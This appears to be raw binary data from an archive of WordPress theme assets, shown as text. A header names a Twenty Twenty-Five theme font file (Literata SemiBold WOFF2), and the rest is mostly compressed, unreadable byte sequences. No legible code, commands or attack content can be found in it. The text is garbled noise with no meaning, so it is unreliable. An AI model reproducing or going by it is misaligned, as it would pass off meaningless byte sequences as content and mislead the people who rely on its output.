XɤHWSWEMv3)-C֮digkӭÅg,0 a F&6s;<0kzp .xhoaiGlӎ7*mj: v奲-%,. P4nuE:Lov #h*"Jb}O7!rrÀI =Ԭsc(w!I%3O#qq $( Q7fA5tQɵjiʚdMF8["/Mө0dwPs%옙kѤ Vy+4hX)Z9}^qx39iiа n"ȊNAx(w7(Ϻw`i Y[?E;o] [k}YՔ[} ũA./-JpGoJCy֛ D,=T6;W{t7@˚M)Q,K{,?>~}= ^>2YTS '3tWC 3*)R`i0M0/C䮾ds=z"I5wikm -ʳa@{ͱQ}Tp .@&РꕘJ #JܧyJj2T$tC׋ji+_"h?Z"{&F_ I~6:UQw%'c)qtA~_k3gf2e*'= !c"gp¢9K}+=O>OݽXva[.@tNUF?{HKkLI2{.̧>s ō; Uq0?4&r6͏r$*c I{Gj@0 W'AK̪Nb\hvX˳"(})nm[;|K(ng j1>:td{ͮGmH!%F-ro"KJPM]j9 C0iƹNk*UT%Os E,Yow ^?`XdC9Ӻ8q  u L3hkZPNJ[ A,I3UB?DJq\s(M1٭*h&1|(_D)3XVxcda d>\ŀ2;<|@;C?>7Er6U@- hw"xJQ'(Z_!Q2,2Aj|  Jک8K*BpV~J@Xu,6J\;ayT \ɰ42{}ifճđ θ+  =|l79اwnp,WI*Sٌ `IrF<i2ɪ7:=z$#O:$v>*jl-h9nMVZ#jsat1##8,D#u4#;ρ'f8av z RCmDr1UTB=z^ttbry1曫 B ʵ* "dLMx}D@j8<3Z@Eyh!uGjRe_]+mS|hB[Z,^t,6V: eiX%Ӈ7<'P8 ͕=xۈ); A$71NHd|LGl_<'AvbԲ?@sqL-!k&%" w- @Vl'(9 w5d SY#7l\$ȩnKR}:HFaa(㔔A>&h 8ʹ<7;ϰKtJw?YKӉ9\Jᗝ-.BAvYg%8RXy[xpZ.6(&V'ni=+h^[!,=)6s.fhG0݅3]d w|_m0\!VF1cwVljĬ 'Ԍ7.3 `7?8ͦݻ]G8IKQo `lCOh_RXbhv@w#ҰW<(^mDDs(qP]1Y4c>&ݹ92]dҷI7/TԨ⻲ykt'dz"u\S>b抉Fa%O#mJ'R+Y1k Zϐ1R Esdx^5հcM@\˜UmSFVcQAjIdJI'wueoVŃuL@AmK%I'cV%pܮ@THeqm퍊B-w*7TR<ƀb~&(RHg~f*`3%˘xa;Ǟ@ )P&v!&+ɎSD; 3~g#C<L!VQyU8=u~^JaILR0fI|]2V$!3 l_ۭkE+gs7?r S˦]Ԕ){$qj-dv3{ գ5`g M!( ]?pϵBrlI8Ƚlu0,Mmx-~:kTx9CԚô75FPu2(zN&Mtӛ`(eejӆw%'<*tʞ s&k F؜+jI9*uw|״NE,Inwղ()W# χfY8ٓӜO o}?(wM t=١7T חSrgnOe >Ox Ss 1ѹlFq?iyxD2ٕnWYs0c|P|=8Qܪ)Y09z4(ww0S֤&,E45tΦʹPEB<RE$N.okntXJ>Ab O~َ7p5>8؜k࡝4i0"i,m$P8 VsD]Lj\s >u<*Bvu, Yh@Fbh<ܝ7qUWLɄx˗凱c`A>;G,D2E+^B W O'\35Ř0o҃[ oa fv \~+]kI Ax}Qi*A ; ᯣ'Z~ԥru@:&v:A3N|ў.~Ig""ށex u!« ITv فnu. s&tT rYa'ܯ4_p gE撡ϬM1?YJl91׭aV,FW6L2zSsga=^*,?0)a 3EW`Ye֦iqȪ*95+@-iIL<7 :>/^iǤ^۲~42q_pȜGDSUyxQ#JV߶)j6pO GK0qYFUOt)/s^iD*G#FԇRQNxZpo#p.`wه*EyrKT4Q]wR5h 9 ކ_d x K^te!=-,E}V?D@Fz\ ^JgmH :8ƵXHuqF4>sU<(dV(%~HAtp-~g'92{ |~6%Q,[LgzxFF->Tasw"0hX|`l8p^rM(.HZW 8XQ(&aX rXf**@/H7p1htjظbQiJfVuɨx\QdlC< C@ TwKp;ڼqaup(:*/}BC5BXs5iv)HC0,+ *vQ&pwTZ&JQJRrevvk=jy&oMEG62NOݏ{ڔj>VU/!-,c:漃*AEeyFߏ{!pT-t<6[B<.s:._bdH&*gz1m"te EW"5d)SFP+ w 3ix m.rkԄv"o_z} $`.o~GE_xgh7gA(Һ9]4@lcQ#@nDAds12M5$8i4kS#'F,c,uilPΚ ~56Ub'V&mi,|ٲ H6+&fZTY6wPz0WCh,8VYMQoWz79xB9 ^du C94f*ktD:~zIQ DloE?sEp"IQ~m Nrg 9'irI lp{>=xY,J Z&QUϦ=Xi~~vZ3 Q3p B]!GZWdud zS i@h;qWEo;¤Zn6{f4oFdtOMĵ}3P)IWq%"BB$1OZk5\. :2&/ Sܾ}FM {վX gVmria\웹^pZI1$B!$'EvxQ1&pB ߊ;8Ly_M 2Q%QPR%ơk.Gkg+]]h-8;UuylM-m|e7qk#Dzj(PJ L9'6JO)s:,qE 6X:oJ.CO ŝMEU \ `a]<>~Tq{Zڡ?R'h(]7XsuŻZ/w3-XUu pu.5 _q楝@NLO;:~28#\.kakx>ttܹ9g677*$x;ʌMqA=JZ嚆 UJZy71۠!:۰IB%ShcpP} Id# :y@4!lJ{M NH(-F]ʬ3v,Maf`=vTYPFNy/v:L8Q %Up.5w\GJ^nMP)EQo4 wr$6sP>ɽev3)HN.}({_zbؗc21aTѓ]  5)wb9FhN֨zA('A` #ɡK׆3d"HGFm왝ܿ`^'8Ի9̌8ǝ>/ɡm8EXe9Ꮥ14mfDZHc ٽw4ktH;*,c3l-"?80V ԔsƘ%芩 Q.؜_wRH$mLIE 8IqXEYo9ik7!xӧlҏ[a7KR h6["O@sn3pFzщ7: xzD$a}Bψ VýQ8m+ވ֨/O,.H& x2f{ =PTو`O4U >jԬo ,rbs[-Miˇ2ACDڡJ؁$'llMXd90Jz1pP8ɔVX!r}NSݣߟ٧B:Y k:!;Z8=x%[qEh^,в<,/93%(;LՕ0e1=^iF+Ul۾SQV=T/0sF̨ i Y^oh"Es%TT-;[rYFG:3?asFS s M'y8GrӶRaP[u;UnTɢ2Z) {*չ'gѡz2/oסG>+O(Oa8h#HdZXtTE!lq+3'wx`mSP')N`- -T#K8,HsY>rEI +tɊnFԩoiXЭ_4o{Lv3839ed,"?"3.7cOLVlD{[Oyi+PQq_Cr%Aq>F`hG,s615q`NV3ˋ5i esֹV-G[J9uj po '=b1s3贓mme)ƑT$nۡ&_~զ -Wluȶf8T 󮄖#&cF; 6gC@-FW:m^!=@wpkEy45z+U?H5{~ې(3rb]4s#:.@rV.r9<2K iB:]:_,7/LmX*K!Eǫt\B/{Ϊd%BܺnTs։EI/wnoyX֚W2eN7IȌb Ac~ :ea\o,9O/<+,$eZ #aq< ]"] WlPeϱ>1bh@ Hӫ)_4f D$tu{HP6M(4M-FYqti=zm( x?>G*?1|~Ω3̪#u 7M\sd5ja3XW$ECGq?t./^eISU\ݐ :#@GUwT/LX"]<.?~ oeEv<\Yɕ+)!ң-Lz53db=y]ezi&,MS(vaWiݼ<^{{(cf77%~V2_%QHN`C/qIo7xOיMNqIW,`:vԖߝ|ܙd->k鏻: f mi~N2 C7Bww8H{*I JT-Guڇ~^PhaXG5KTޥ2ṗ\i O4'J&O\?md ֑:CU'JRc >wl$1Pٯ:H x$̎0zͳ6Pt'(q56IpOj'7Lj-9C7=G~. SȰ?f"%:?CzLXjȫN{zD -%.+m5ïS$6LؑLCZwrWL{RVTӟl$ĸjd2,9o,@[}׊O@Ҍ4$Ưm=q{߶ Q,%ȅ߭?r 3\ƦCbfu|pBf< o}K>.9ax*Y˄MXXXdv9|x@<}Nt@5} =KN  ›ޘ`k~ы"Ju¡fG GC/4 t[RDt)J{#u=C|Pw*olӛhjm~jlx(IA4,PGa$2]76љq~H)G曾.tbO_@ ;;XVu6`47Z^cUlϳU{Ikbz^[,)c5K''cg"*6q%>2zoy֤s)<)NeF52"!; ''b)sJD4 {?ȫ)\ۆ$,L%Y[^?"#%/DZ_zX~TLІ6j 3ԛ.6zlvi>=*i E')Roe,O3B%SxhyHi:_pQވ&1bbX5_6TC?U+NM7RX5#\=!9V=7 oH&TIQEǰexǾO| {c}%=GՄtL_vT8Mt+w%pC4~9k"5BFUn/,A I2&:ЖDpҟ0 ] t鐙A@BBfBF@BѺG2z%W ]pUvf ]4'ltu]u))ŢV_U\V,ceӐU&'>9ۊUЕ*U/{r :P#c iQf| _nqeoTq[t)i/k_@h&[cEdzMW#$GnX/沣 > E\UsPMoݚ$N{yv\!pi$ '+5Awp l2`tMgؚ}Nz9 'x !䅻 p5ԇE/- __k-ABNשc-6Nu7H)(i$O LɘYXْs&'Woq9O`r 7&цKHJc)(3ZJ FKO"S4:IP&XSh},704Jo>+NL(I;]C~%MN&O *R]2*TfZlg0kЈ)oWYj˟]Nt>,l!TdQ1q tVy?c_DFVj#|, .䲟엫zӟquᦍ.7MqzC0x 1 C@2 [b׾qƋ a".bpk .NZ/QTiɩ.6|M}Q PlqŗĒJ.J/̲ʎvW-$zzr\jQ} 5ƬZj:ڴ.)[Ko}ύ]pŊ(Ytkږ+URZ5Emީ[&jmø&))mͶNN,X`X %".ͫgBEC*BIbQH" z̴_Kt*F"D-F8 ɥ )VTrހ#C=/ۤY p<:O33HwwL\"kĬ\߉UG'sU@7uY|!]o}Xaæ-dvlruݽU^5^u4Ƶ䕺Sǵ89v0 h֢N m#ǖVߠpb}l@O 5?{Kϯo&q!64ˋx2zݽsЦ^Ԯk=y> zW"_es X6鴾W<6oZ3:BJGx8)fy(m2+!|<:SArZZЄS]FP>\Y#T6&qTGCXhVQE~:{7OSLW jojuYK]TcE Vޗ06UEຠǤ%hef]=Xn+bC/VX|Ͷ1NlxP1Xt0ky0/ӀmwXP^0/SZڮ MՑNrN-7WIQOj0vz ;.:ǥaf_B``;Jd|\;F%a՛[x=O#?Q y0UǢwloǧ,W}[`^lT7mv!^K+͢/XR$ P_G7qbUx= BNw"# $+>0RمÌ :)1A 6wSrW:핉Am_2~DW4Gs 'RIx!GͶʠ[!#k>p I>×}A9ㇱR=axӆt ϭ(t/G:k?@PЙ{\ -CzU!KKx*gD]v J z 1'PIAju2@[I!: -9@Y6mr-|`J][J24}dK>&c$Ȑ"WCH"V!0TN36HuB'.+d^CAfR=$B2և[oaqtAnE%w9~<7W4}RTT @DknNq7#@ > hB7y6Ú7#s4DRIL1[,UqZ0}CZb1AcD,MO~'9 ɊW\ZxB^aK[% #5 pnֈDmЛH8%X% '}Yin~%ļ_$Yj?-w \d#O%kP=(Ldd0'5;~8;axú]E X tڔs< C7{}} GǷjAIͽNd~\;ZZm5ϵX4O`=jZ1I6+6©ySUݖ+ ?IZ US䉱?B# ѵDIx']x-~դbcBMk(xp}G<?τ`+<{.x; qm+gfZ­SAk;;A,?+M DbB p':̓ Pi%Z9$zHDk[Яx`A:)Db*e|~`gfUF k^( {3XjkNw颡ٮd ^1 ^z}.U8q,+ޔ8*&i~';-̷ʷt)ia^ar8x qE7Mb Vz{=+ m*TUXNlESUt'G^J~YEmjKDl.J=Kk1 RKvX@B4[\H:!B(uY$H :JserIJ\BH l\6uz=E/{5#b֡sYoF@^+{-,wкdlco .G*fy!,{^5 WpE{`2ySsg ֤J=) ye{+pP2 &fm )k01 @4 ܍LJiI~ &fRi01ix"2B.:ba=ӫ|M6 nЀ,x,`K F^HoJ˝n/롵F_@濈H&A IQD1-lcZMp@N0'#g( ,r-f9V15B #L 2~!lz0i=TaB1U;֠&&M>RJ;-PS.W,f'+7:L+]?jba"C؝4z-LJ6F g[ڂz}]}g}AjâSG,T?El~] .WӛZA!S.HXc[|u-zw5{6}[ v϶-u%*VL\`]|!J̑,\+ʷ䞉l$<ͼ/WR\L<@Gr=$׫;M!Fr~?od8&L(4 W>!!Hoџ׉frÆ{l)b _~xc ɛo_nOfȪ{x */6gY {ѲЫԽZ=nUul ׫Уa}Z ۏV"sy)i zkȤVK6]bSk ~9bA,d[~D+Pm DmcQ(I4Bao+$&U}W +a<(N#Ң.iV^O|d&Бv \9VHZohbk-`fK[8?tҰGYϵ[|FpݹqG=3+Tx? 'K[l|p߼̬٭^| *ujecR0 + ejJ)ʃ3bhj [݃)Ŗ A/Sz-#PpDF'מᎇtp޻%>MxC/մC sRQ|?$y׊{: 't=G7s%P],qo23EdaH _[*~k~x,Ku kRj5Wh-WlDd`uκqPX0#ewln٢QcY`/}5XxlcI|icyM/I#Mkpcttutֹ_,I:q٤г:T-]"خ-~FT0|lȷRA qFN r4F1mtTjʣF9CmK9sCyA%)2 n/Sm I&FN ˷ڙU@fuXTuhMOiQO6/yx{S jݸ2 ?{B3'njz)qسi˨*녈 s'\<0L?΢b;| NSk,?i>/ކ;ìq%ܮIJZ4 ?-yeQ nj(u ٻ^٬gա䃮ny" ozQVujZX|Z?č:lbp]p?JL:df!zd;`le%fl6b,ozZ$Iȶ$mpOsGwA.6kEqJEd`/SrQl.D޽c=3> s\u"T1瘺8h2x#%d]K=F 6r(1G(a+J x1k~h>M}?Ѻ mT>PtPCJY|T?NVˌz"/qݷy8O]. 9$p\%itbݽb1{ze&8쑱\Y3gꦐ^VM.CS֭!`5>~2Yڤ]ՅnblPaIH0 *ZTQ )Dq\-miKڲgeޫ`E&2<672cTQ|{E{=z8 )i'ǃX옵"$'k=e ᷱ2R0hZC>|1/_=jѢb^ɼm|C;ͱk&nw mO&Pv#>?themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2000064400000321670152335264760022721 0ustar00wOF2&N^`n`PX  0P6$t x t o$r[0JlA)$Qtu5%_-[u@ ;ҨB6Qڎ9;ǹ}3P>(~wN݋P沗tp{L2&zcTp3g &->j2x>nfjEd7:Z.fU%|RMPAm?_&0Iv?*RZ4|&«XQ40ޮ[J~_uiDףdSW%*R-},LFIII럓kYv"^%?JLN GujaJ> bB] TxsOZ؛_X'\k}ZO~4ߩ*Ls@csTU])CiKⱽ>?kunć& 1(Q#flVYS7$L3B%Sƌ$dbwYY+6gw̐5/ua0ONWк2I ʣqgFW;@[ |ꉈx}}3gƜM] u.\ ]8T*M^W]6%uĸ:UnorDFw"H6-]hm;)b3;.!ҋ42=#B!}b5"E(^XU~V(B[{I>7AWJ)ˣէ?yko-bI%14OX(H"G/Plx!&a`U>؟}MEQ%؊i\E 3A{d&ϻ#ZPW8j+LOe{8; 8wBرBw{Mi@%g}& wEg:ոµN$[}?3 ͺQ|Y=y%paYBFeq*a2 aCs͚[_Q_Q橫gg]{4s潨LP%T}>-c`-OjZiYӬ7jk{5u_ iSx0NADy!B_!}en?}IP0BCn:4@.biu*?Tbmt2ܺiTlw Vi *-U6?B%=}~}t) csu&mCY'N%dƿp<&Zb?gwxh,uCY 0riUeLKSa=iڤcK5 m#&Q"v]2^d lr ݛyJD+`[%@-` mPEd: k_g˸dsN+N[OL4k,/eE45n w[#d<}hXʹ@HH"/#Ow=moUl6O}o"30Ԁ6lUeo4첋 &ac^;7W+$̇=`.BUkPsU! AFazco{伶nj)I .HE1H~Nfe%PPg{%XUu3WU}1 An nC,QDrV[)m3|Hw99y%ϗ4ۤӴ4e2=ueJA: p=}bm1J4KZhC_{nlG5|}-Ė E6U{يƂC%վЅ홖N<@tlL6?g~}½U-j3855ȚIe7@TfרُyYW*)E!CU~$ Y]TV'{G`OB$j)&B?<RJA%% ESZRaz\I9(9*XhwvMLhOgtժ~vYf3"-Veگ8%,;U,(y3 gLQf"*!@H<``]wcJ(AjH^=kƎ43Er@M iX`Y ,i{-Ukګ+/Si)hmt g ]2M2Ckp =#3Ct9YiOFʢ9̆=X/hJKP=wsdf|dVN[ b1~ AfAT1".7:SQrѨ)E7@TYncQ4>3-Ɛ[J$B]nteeyEu={Sc ׼EөwI"_!O`QPO>!%d!_x53RJF  AJ5G˵[,# Z, ߛ:2D9r)o0& 龁E3tV*'ʥZq*DOOYOLYL|ά\u~jbgptkJ7hؔ3FOYݹln|Y-EI3M@i eܢI$?_Bab٫EQտ=ݫB50hf߇TCO<%AL_sd׭aUNMhUER! !>}?k0@0 l6AAG&^_e.(hͦ8'/$  ۦjyYKːvHO84z8#ИEp ) MTX&wT:'ᥞa"Y"B$)$K."EZȐrbRu~a0o>,!5avE{p8 ) ;S5y<.rY V]v ؅a B(*W 5$P^5,5"j\elS+N8u=ҹ8o͜S|oSDM:"8!lagx L86}֌:{JmRXy(yp0+`4>z@µy1h@xa7Žn80$湞^\T{䨒380c K65l>9w[ 'Q%U't<;A,&c|)@i~*Vb/x V r} GMXB9ɪ_! l j.$fQ PJDA26>-Ki5DLnMq%NWt7\LJfT[P dW [: *WUR~9nu; Xۧ/ Ȑţh- _R-sW:bPâ^dW8R"˷HZ:oYk9х@jZ5i^^b@EfQ}_~$(օp@!IΠ,Fh$V3R]cv,Z`~ʜsZp7psӭ7XX#RB=KS*d.0l. 7dH LO`f)P$ڠ*.œ` Pժըjjj$@!+{YYy|`&O0fz ǝR*AW  X`Es\Z|儣XOBt~*@qx޳@ܿ^Urc-T v.O]X"S+^0Q(f3u|7L2Ç<VW\/7P=緊ZhzmZK=!";G.QKe+&󥲧H`"px J\~n2x![3L_/ؒT~tuk}?I#DzioR^幨ZR>ۜh zէ<tl( ps4Ҵi2sW|6k]ʳr,uEx7l. $"3\Wן@s]@mc=~Q21gzEX"|$}Fq:3ɝmNC/x1»B1~&&=8{!ϝ5n3wdO *lj5d!J|KfzeMs.[PCCgTۆ4Zsd&y:SVZR`V{HR+HgOl)shQWږmHC;:4l0gPzuB9t M{Um6#[V2[ ÷v+Cwl3-$e &&ɰMTt/GV3Ӭ" kn%4KWH,*fY ȶ )EJ话7,ZRԎ]՝S}vRw:`-p@(c{i``R<9̀[[aR?{'vfV%(x.2Ρ, >vI-` M`u°A \nU!".r݁ `,F):jʞx1G.`^!R*Q8γȏq&g t,xxtlUdxᇻA3TX!FЌ,ŷq0'-QþfF~s9k}=O w.8#wMV?eQj2vCӁqF /<I"8Cʖeݔeźe[=g~VF@;.A FŮ ηeb0+DX%1Os6@&ql6\kzUwl^v&m`GEY=NJ%o~c1؎)@,DX8-5"͡Onr'fWX9?P'ʞ韈 \z2}>eoTG."݉!@Q3rDC6+wĤbΓmxSN|vH#_% 39ڔ{qg"c|QI7k*ɵ=BaB*#Gvvèk- I듕c>k;[VBUnxhUSzA* *a(ȰH Pzv뱱bjt9f|>װjБb9rNCf(#%g”_Gxcq2BtQCJTE6VZ&@8*n*0Q~~7ǐ0s(yK8y=-̩w`&7=,F'5 Y1AE;QVXd#DN^cm mk8+&Jr~}O zf,wz|O?NixR"Phw6C5O V|ڏpJ 'n:*2ЮL^ =l}#7i=Sp:1*NET$ŻYSV} Yvcy:%t'Ȩg5@B]16?n:1PwN $eCi6 gUE1Y&~tt\s>BFh-MkaRt?b!~10d 8k[)˹M-Îh^йn"E!v:p{ ˃?7O1[k 6Q ^%F뼹Ф+W!2gͪ܂&8Kj^=E|`IO vq~=ꕿ4=Z| w,yeה j` hV\FX:-TKAx٦U]<-Ⱥ-E[7<.%Er{,Aտ>Zp\cDRFf8->wSlU=)Ep➣enܫh,B®_pYJ-l&o ZHWM rl3 Ё{u_[PU!;|3̾}'H1#6w,X1wtNQA 6a`+hRհOl_?n6r2gD42Fn} 3.>D OGL$?jw#` j?iT"T23Բ쾞)<1Jkß?<ŪmhwPgblẅlE0$a޼p#A# J+gپ2\} SlycłQƴv2JvTb :蠀+K tK##LZQ>W ܹ%;OҸWƿkHƞhU:5E[n9w_Ydd$rA_h%,!4֞"r?v+t_~N-VZ{J3I*?޺$Й jy{| pl?c`!Wŋ'Vbp;Ǣ⩕Ү?m v@X4[ۢΑfޕXlh6?@Aߡg}'}4W~ɽ9;~W, _L1US `ۯJx2AoC3|6javXwXG3t> w\yf [R[PSVT ~lv %#]kwrƠl.p<ޅœxc18<4ƻP8!?Q|=EFGwrmu:Fq-2u-m=ZBi>g&l<+h)QQ?tC.>2G J䯁 cV)O.DXϩ ih@:X٪!q8ރb`.ZWdw-Iʏ!`oƓ7t{r{2J~]<q)n٣bϠzQu-=' ܺc|WT[E8ɐ{`T Ϸ1Q*Wchvt [ \'_=wޏ(JFEpD?3MfT2`U Vb!!YGD`ѤUuϕzyD }$:D^aj2Yw;,8\\85 $,N=7{Ƭ4$C־c5nQH!j1 jنd]&~}?gbyޮ-jKęi; eJmq$(7ɏCMᩝa+7a=4J mFGqZ[pyC7d,&Reb"RTT?XzzE̔ңw8(-: GzS7 `cl3 Ijq6m>Iw0bVG!_V /(F]tK?KZ[0\G,2ʩTDR?"wEi4ף{ak†CY".z$13kaM߶7ǖRCMr!9tOPH6f}HZlq_CWmݤ-X:\=|X7A I$JFM$ZP CkP s 0$k,FqXflBq-fjD/QF / n-~`~4G6.1RP"UĤ2)T Q3;{\p ..v)4hMX4MXLS2bq@fl Yű8Gfvf'OA~#u8F``p `}7&[v dd) J*%`=!Gs 2-ϣ`B +H _暭.-tO7oa -+Y=;@MeiCg \V b b* [*VJ2.ng<=2$$)qNd))T4)9& ʌL)Jll)u2r f DjV'VLV'y:Tի7π&M5e*o6A-VL։fZ66 lgLFN*H*餢*TPƣxe=&Q'U.NU}m0X[f<1iM'flSs|OM_7_WRY"XczW,v{?밧{zq):)}ﴗpd|`x@@ LaMҢ:&tc8gvc\Ax+vPUQc%LU|܍WV|^cm|$i={iGe'ɳ˸(˼b(s3X\b#Ub>~NĹKFUғO yIPTDF:d˻<uRPz^EV| 3g?&q?ӸⴀO"!AKĄH ZkuZB6q⳰-dedaWʦpE{7.CSA^׀D$*Kl*ЧH:E%DaEFL1CS,C^^<p6[!׆+t@CW6w<";`z7G%^[jVU t^`VWIfxk7Pko^/7 hIӵ@ҡ-馎%g/9.뺪ۺE]ET-cևFC|FqbRd2>nsLZTo$E f3 aZ5C/ vn{*oO}wKpɮ75~f70fmT%cVj}|!T0\!jsbNeHzw< x5Uue6yȇb lֶz.;A{?qkدOa7aN Ka  W 86,}SP2:%g\VT,TՉ:3?tƴk9fyk%,b YUVlxs"U'puZhn6^wF:`Gp'ꚜjT [ӄ7$GBp}f +ċd$X澕JQ] L3%uNMo +E HaJ^nƲ<-՚IT2*Y9Mx!&Ôfz)bsd?1X0 rܯL]Kc^t-Kn oraS-ٞ|)YeW55R%eUv'xjء+TꈨY)Fb IE#b&~̖:kQă"#j&QX겠.BrDJx4s0QH_,C,bxU +p4FN7p_:oތl1G$? 9Wd}&KqӚ__KRj@W8גW^wLj k,m S,^kF,1c*amp*lM@V_P0n1le )B( mКcRHk~]Za U sH҈]2ݚU;e8>펔\ʩIPjyx7g.XVApS<'#?(H+V3#㖚8˕?x{O!Rit14SbU+V#_G0NJ:vf3mSrb1&<\:<B5 " Rȱy[f˲|4[YhF,6?yzGf?{2z0)S2KA"ůBJvUnK')J}Ʒ,bkZ4N37/]nM3+9F:I(:!QambԧY~2_hƱ!;#ndIA!5FjInku(+Xհ}IδO,ĄEt)I@A]sn0Ɔex"²$q&"Plb&d7]Ɉ2Җ3WA7Uyj|@SLJRg,6GV)tglr`e=308HWv]<\YNo ͦH[ uTsf5:N35zOMT 1gQŴs͞Ac$ݜF0S"BpSf!˧)K?Y4:dG+@ O $`BhX8;8V6A(p+rOO#Mk:~G:d'd!ζJUF OPd$[21C>q-2jTh̥wF@`1eB(K 0BR5fEɧ->y5sa+-7YG%oy$K,v.^l-ƴ査:٢`ݦfAd`ȶ0jjtU\b%Ayd-=+ujv"x)9e`ؔ,[8~ 'vO"EZ[@l`>rݓOL4]dFEeN\A鴴fV+yEwE: 3T(htU'!'I7C!KN,Qmd(W]4FWf::O!Bʜ/>Ud [0a|N=4d"4-$G^!+^xBa4F:P;+Qs<BI0:_avX4yABc0#O2v~r|^V#tjyĪ!BH waPR0S$²"4 ),]>ؽkЧ>Bx.POt >'ἳ^tPc[5ieqhW3=l`)dX,9nqa$0Z AWYM7đ 6ğPkU')*$&4 g gJ'2EAyp'60)5`Hr{)\NID8Ӏ YC1ǼY^]^g=](]QOgЌr ;f#eX@wArYFЯ⿔ 6< ݶLIPڑi&2bGL!A3Y_deί,,陭K 2ji] &L*&K AwsNϮS&ӷlF#c|4 "~M? Y^q$3:zr*9UAI[]4_g.C$ ?]ITe%kk&Y>_@lo\ɘ+H⁓4!LƑ>x.691F "K,}#M(dTРÁ.2]ⲻhŠn?&|#FB< $RH'Cj$2 B)+ s JN8Pɑ3;wN~B<ǠMCc`I/ySy:m^aOJq!X.+veTh 5!_6y \Qx%ZB'0j LعcwЛ\o\JNRy1l 20HkIto D[^Tj2[?B*mel묙p3Fg^c(>bQQm;pfsR'DS6 Og=ZҐNFփ, >fʋԆtEY.$H#&Lwn)7 lYw [d-[b!&#VaҒ{v#t&G?ԋHtzNMcEmktE7=E 0覰M)Rs ^ZpfZ,aur $f7#[PU2UQli09Zz+>T{M\M6zׇGmZ::߃DX%YQ5O\}7=2v6NpxѸvg$+",+=wn{p˿s^\ԇJ!N g[TFM<=B7 $`GINN&I|eCGǴə WCF)S]sa7@Lirri\!%!%Uv)~"`BF\3UT>tL0kS:걩`mp?gM3h^:opEuGվ IpAPy|oD AFx̌WK M4R!zMC0و6Mb*f;D\s=ΈU040op51v= Nmm6:C51R۝v:Gq>FQ0VM m Ygrj3+T2\%W+SM22-פ뿛FLaX05<3Y,Oa6x$W-k5wG?4\oȁuzQ]*{^mJg $6(AŽ!r@*6R B:h(Pvs+*.K\V%|PyJ*ICm uk'4ZРyv5aX2 dd*u9Tb*^aլ9wu0c-r[uTr{y9{~1F.z'!I(Ԇ}"X%$??*  q@H\LL̜.R4ܙ _D{vw M̈́&_Mq"3r`.ҜYL\v9ҋQq7>V,|Xla}5z=&3uWmb}_ -,Ef}Lg!{y4SjGtMԼIm83.BA>DZO%Bva:= ̀ZQBhhhG1^&☦YfzvG=+HbF3cF69mD=s.xP}Ѥ\mRe H5 pzI-iXcUFh{vga"nXEb`<^ߣ[ + a` [t{h֯VR"h(W,,g+eY:ֳlbB֟tKC|(%q9EEB]>eR)DE_lx'u)~uoҞ3VO*qm:褋nz"5a1f\gEth(i%tA7sWf ,[p<`fSSH"xcCvEmA']t+v; Zg\ dGB.6`J2ۄ0y0@"EjtSQ}P3Q(Y{Q*ӕd//UzL_/ƧdmookdjlyshI q+D3\| jeRH'CZEYj)U )r7nvW0>3[ʹi3f_wB|fְ3劅xcѪp$nX4[c2(6s$I|cҀ+9kz5 pukj󪣥,g%_c^R?hb F{/3opdbT&y =,YeT`e+V?2{x0Q6)NLPNo0pO`phxAdElbo2qvۛ8tDg۱./R&~JЋ JR4r< $+f/®>{\"L fo"BX"JZ FbgS:USBX"%gV(UvԎݬʩJ>Osvb m4Wf4wu|l( ;BJ\`0QNlJ I$+%2L@f*h;_U4C-f,3#iU:j!*J*m~S:i I B/$:)Pp|eXcTi3,e*TE4'WRwȒUY؞VC*F+eŴb8ͱaӖmZmvF-DDVTM!A1 )a9^%YQ50Zuqr;giЬkHHʸbz3wj n~I~8wl%B8u3.?_t ¹"OIԈA<:*A$H|iWy*+q+!$T%K&q}g4hå#:u,:>:N9Ux)_NA\!D Oǡ)rKlPv|ʹZn¶{ߐ~;}Is0$Ilq<ՍD +_>"a9\_ %R\T5Z`4-V!D2y@QU B0b.$E3, $+e;.r |)QV3, @Ʊ!{sklz @JTR4r< $+}wDX%YQ50-zln'cdCIΩcaUA&-;99?)ɂY C2?YF6 Mdks]5SFes=L62>:J7{f,~EB(TLGhv-tAVR+VL6{ C h]+S_͢l-|8ۋY-ede.iD8@ W&{K8 Ld2SH7[0`ZCԝo.\dRUIܛ:Zi}<ȸc=LnT@#M4 m[aiGI (Ɋi '1ŎBX"%**܄>?=)gM5hxAdEtôlv_V./p"a9^le !t~PNq'DPit3]5] 3a,29fsew8]nt݋>u*H\$(V\ $Uzg**Smv3{vpwáe,z7g!Һ[&P(؂@ H!,[Žz\jЍ"L &B0bs<@(K2BRk:h2[6cZ=^z]RW7J3y}bs<@(K2BRk:h2[67ߝ5 #(WQU ӲNcdCq2x:`4Z Je4:b wEKNLPNo0ppϼ>I (Ɋ FbN;D(Ɋ QU 2Ѽi I#XU䭗ou\v]^kCǮ u W·d9\_ %R`NӊRK7Mf#D`.\rƭ;.I (Ɋ2e@Bc8:c cbyǻ}H=35&:5 \q i^#UmS{Ng?NͰ/*XA`D1X@$)i(d9ܽwUG2rRhIo0E"B0bf QU ӲNy +^LݎOH Ͱ ‚(ɊimfX%9p_NͰ/np>8QhxDIVTM7Lv ̢YA<ՍD G_[H, Jl'$+"~>M$no>nAFZZAW ]wxyrseЮk'zF&樶` Q-9}_DJOlB_h'f] WAIjĬFpkEx}|ռ\aq;& L lYf2Bb#H\WrZkbڶ9mpcekFp$Ͱ#I pv%p \ѱ &ٚ[ݜ͛ .n+;٥͇Ӣ']޵ۭǠ!h hxDIVTM7 -\w7Ԓf9^PTd HA1 )a9^%YQ50-/Znu3,`sBX"%W(UFE(x\)4j $ qq\$I``~!ACͰ/npk\'lX"JUhnS/foB+$3˸( DX%YQ50{>="L f-BX"JZ Fbyw> 3b8AR4r JjaZ69_ifLΑ,xWй.'b9:rdP|TS(DX%YQ50-7Eys.]vm|) É`#D*+B|f/ֽ-N{.k DBL`py|P$HerRhuzdXmv3r'B#($E3, $+e;EE:-b?ׂD"H{:`4Z J4:bwENDK #($%+*F&j;.!A1 )a9^%YQ:h2[6rK8NͰ/i$+gu@FP 'HfXDIVTM7LkN{ MP 'H&=[5)SF=B DB  ./LPNo0pF݇Ofl9b5I (Ɋi|L;.7/lnp:Ro0C-`Rbd9\_ /JS #($%+*F&j;.:*yq} A0b8AR4r JjuzdXmvաY#HfX(ɊaI (Ɋimqpcn0r rUdկ>3t0X@$)T̓- B0bs<@(K2BRk:h2[6Ù6I}`b8AR4r JjaZ69_ ]!b<@(KaR:uZ J%5:bwEN@FP 'HJ&W(UjV7Mffw8]nTB7zӟACZ#W&̲b8ͱa~e?%p 